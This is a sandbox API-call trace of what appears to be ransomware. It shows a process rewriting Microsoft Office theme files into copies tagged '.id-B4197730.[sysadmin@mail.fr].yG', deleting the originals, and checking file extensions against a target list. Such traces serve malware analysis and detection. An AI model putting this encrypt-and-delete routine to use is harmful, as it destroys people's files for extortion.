	[0154.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0154.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0154.189] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.189] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0154.190] GetLastError () returned 0x0
	[0154.190] ReadFile (in: hFile=0x4ac, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0xd44b, lpOverlapped=0x0) returned 1
	[0154.237] WriteFile (in: hFile=0x4b0, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xd450, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xd450, lpOverlapped=0x0) returned 1
	[0154.240] ReadFile (in: hFile=0x4ac, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0154.240] WriteFile (in: hFile=0x4b0, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xf0, lpOverlapped=0x0) returned 1
	[0154.240] SetEndOfFile (hFile=0x4b0) returned 1
	[0154.240] CloseHandle (hObject=0x4b0) returned 1
	[0154.240] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.240] SetEndOfFile (hFile=0x4ac) returned 1
	[0154.245] CloseHandle (hObject=0x4ac) returned 1
	[0154.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0154.245] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx")) returned 1
	[0154.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0154.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0154.246] lstrlenW (lpString=".doc") returned 4
	[0154.246] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0154.246] lstrlenW (lpString=".docx") returned 5
	[0154.246] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0154.246] lstrlenW (lpString=".pdf") returned 4
	[0154.246] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0154.246] lstrlenW (lpString=".xls") returned 4
	[0154.246] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0154.246] lstrlenW (lpString=".xlsx") returned 5
	[0154.246] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0154.246] lstrlenW (lpString=".ppt") returned 4
	[0154.246] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0154.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0154.247] lstrlenW (lpString=".zip") returned 4
	[0154.247] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0154.247] lstrlenW (lpString=".rar") returned 4
	[0154.247] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0154.247] lstrlenW (lpString=".bz2") returned 4
	[0154.247] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0154.247] lstrlenW (lpString=".7z") returned 3
	[0154.247] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0154.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0154.247] lstrlenW (lpString=".dbf") returned 4
	[0154.247] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0154.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0154.247] lstrlenW (lpString=".1cd") returned 4
	[0154.247] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0154.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0154.247] lstrlenW (lpString=".jpg") returned 4
	[0154.247] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0154.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0154.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0154.247] lstrlenW (lpString=".doc") returned 4
	[0154.247] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0154.247] lstrlenW (lpString=".docx") returned 5
	[0154.248] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0154.248] lstrlenW (lpString=".pdf") returned 4
	[0154.248] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0154.248] lstrlenW (lpString=".xls") returned 4
	[0154.248] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0154.248] lstrlenW (lpString=".xlsx") returned 5
	[0154.248] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0154.248] lstrlenW (lpString=".ppt") returned 4
	[0154.248] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0154.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0154.248] lstrlenW (lpString=".zip") returned 4
	[0154.248] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0154.248] lstrlenW (lpString=".rar") returned 4
	[0154.248] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0154.248] lstrlenW (lpString=".bz2") returned 4
	[0154.248] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0154.248] lstrlenW (lpString=".7z") returned 3
	[0154.248] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0154.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0154.248] lstrlenW (lpString=".dbf") returned 4
	[0154.248] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0154.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0154.248] lstrlenW (lpString=".1cd") returned 4
	[0154.248] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0154.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0154.249] lstrlenW (lpString=".jpg") returned 4
	[0154.249] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0154.249] lstrcmpiW (lpString1=".eftx", lpString2=".yG") returned -1
	[0154.249] lstrlenW (lpString="Inset.eftx") returned 10
	[0154.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0154.250] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=44971) returned 1
	[0154.250] CloseHandle (hObject=0x4ac) returned 1
	[0154.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 0x220
	[0154.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0154.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0154.250] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.250] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0154.251] GetLastError () returned 0x0
	[0154.251] ReadFile (in: hFile=0x4ac, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0xafab, lpOverlapped=0x0) returned 1
	[0154.262] WriteFile (in: hFile=0x4b0, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xafb0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xafb0, lpOverlapped=0x0) returned 1
	[0154.264] ReadFile (in: hFile=0x4ac, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0154.264] WriteFile (in: hFile=0x4b0, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0154.264] SetEndOfFile (hFile=0x4b0) returned 1
	[0154.264] CloseHandle (hObject=0x4b0) returned 1
	[0154.264] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.264] SetEndOfFile (hFile=0x4ac) returned 1
	[0154.268] CloseHandle (hObject=0x4ac) returned 1
	[0154.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0154.268] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 1
	[0154.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0154.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0154.269] lstrlenW (lpString=".doc") returned 4
	[0154.269] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0154.269] lstrlenW (lpString=".docx") returned 5
	[0154.269] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0154.269] lstrlenW (lpString=".pdf") returned 4
	[0154.269] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0154.269] lstrlenW (lpString=".xls") returned 4
	[0154.270] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0154.270] lstrlenW (lpString=".xlsx") returned 5
	[0154.270] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0154.270] lstrlenW (lpString=".ppt") returned 4
	[0154.270] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0154.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0154.270] lstrlenW (lpString=".zip") returned 4
	[0154.270] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0154.270] lstrlenW (lpString=".rar") returned 4
	[0154.270] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0154.270] lstrlenW (lpString=".bz2") returned 4
	[0154.270] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0154.270] lstrlenW (lpString=".7z") returned 3
	[0154.270] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0154.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0154.270] lstrlenW (lpString=".dbf") returned 4
	[0154.270] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0154.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0154.270] lstrlenW (lpString=".1cd") returned 4
	[0154.270] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0154.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0154.270] lstrlenW (lpString=".jpg") returned 4
	[0154.270] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0154.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0154.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0154.271] lstrlenW (lpString=".doc") returned 4
	[0154.271] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0154.271] lstrlenW (lpString=".docx") returned 5
	[0154.271] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0154.271] lstrlenW (lpString=".pdf") returned 4
	[0154.271] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0154.271] lstrlenW (lpString=".xls") returned 4
	[0154.271] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0154.271] lstrlenW (lpString=".xlsx") returned 5
	[0154.271] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0154.271] lstrlenW (lpString=".ppt") returned 4
	[0154.271] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0154.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0154.271] lstrlenW (lpString=".zip") returned 4
	[0154.271] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0154.271] lstrlenW (lpString=".rar") returned 4
	[0154.271] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0154.271] lstrlenW (lpString=".bz2") returned 4
	[0154.271] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0154.271] lstrlenW (lpString=".7z") returned 3
	[0154.271] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0154.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0154.271] lstrlenW (lpString=".dbf") returned 4
	[0154.271] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0154.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0154.272] lstrlenW (lpString=".1cd") returned 4
	[0154.272] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0154.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82
	[0154.272] lstrlenW (lpString=".jpg") returned 4
	[0154.272] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0154.272] lstrcmpiW (lpString1=".eftx", lpString2=".yG") returned -1
	[0154.272] lstrlenW (lpString="Milk Glass.eftx") returned 15
	[0154.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0154.273] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=46403) returned 1
	[0154.273] CloseHandle (hObject=0x4ac) returned 1
	[0154.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx")) returned 0x220
	[0154.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0154.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0154.273] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.274] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0154.274] GetLastError () returned 0x0
	[0154.274] ReadFile (in: hFile=0x4ac, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0xb543, lpOverlapped=0x0) returned 1
	[0154.580] WriteFile (in: hFile=0x4b0, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xb550, lpOverlapped=0x0) returned 1
	[0154.596] ReadFile (in: hFile=0x4ac, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0154.596] WriteFile (in: hFile=0x4b0, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0154.596] SetEndOfFile (hFile=0x4b0) returned 1
	[0154.597] CloseHandle (hObject=0x4b0) returned 1
	[0154.597] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.597] SetEndOfFile (hFile=0x4ac) returned 1
	[0154.600] CloseHandle (hObject=0x4ac) returned 1
	[0154.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0154.601] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx")) returned 1
	[0154.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0154.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0154.602] lstrlenW (lpString=".doc") returned 4
	[0154.602] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0154.602] lstrlenW (lpString=".docx") returned 5
	[0154.602] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0154.602] lstrlenW (lpString=".pdf") returned 4
	[0154.602] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0154.602] lstrlenW (lpString=".xls") returned 4
	[0154.602] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0154.602] lstrlenW (lpString=".xlsx") returned 5
	[0154.602] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0154.602] lstrlenW (lpString=".ppt") returned 4
	[0154.602] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0154.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0154.602] lstrlenW (lpString=".zip") returned 4
	[0154.602] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0154.602] lstrlenW (lpString=".rar") returned 4
	[0154.602] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0154.602] lstrlenW (lpString=".bz2") returned 4
	[0154.602] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0154.602] lstrlenW (lpString=".7z") returned 3
	[0154.602] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0154.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0154.603] lstrlenW (lpString=".dbf") returned 4
	[0154.603] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0154.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0154.603] lstrlenW (lpString=".1cd") returned 4
	[0154.603] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0154.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0154.603] lstrlenW (lpString=".jpg") returned 4
	[0154.603] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0154.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0154.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0154.603] lstrlenW (lpString=".doc") returned 4
	[0154.603] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0154.603] lstrlenW (lpString=".docx") returned 5
	[0154.603] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0154.603] lstrlenW (lpString=".pdf") returned 4
	[0154.603] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0154.603] lstrlenW (lpString=".xls") returned 4
	[0154.603] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0154.603] lstrlenW (lpString=".xlsx") returned 5
	[0154.603] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0154.603] lstrlenW (lpString=".ppt") returned 4
	[0154.603] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0154.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0154.604] lstrlenW (lpString=".zip") returned 4
	[0154.604] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0154.604] lstrlenW (lpString=".rar") returned 4
	[0154.604] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0154.604] lstrlenW (lpString=".bz2") returned 4
	[0154.604] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0154.604] lstrlenW (lpString=".7z") returned 3
	[0154.604] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0154.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0154.604] lstrlenW (lpString=".dbf") returned 4
	[0154.604] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0154.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0154.604] lstrlenW (lpString=".1cd") returned 4
	[0154.604] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0154.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0154.604] lstrlenW (lpString=".jpg") returned 4
	[0154.604] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0154.604] lstrcmpiW (lpString1=".eftx", lpString2=".yG") returned -1
	[0154.604] lstrlenW (lpString="Riblet.eftx") returned 11
	[0154.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
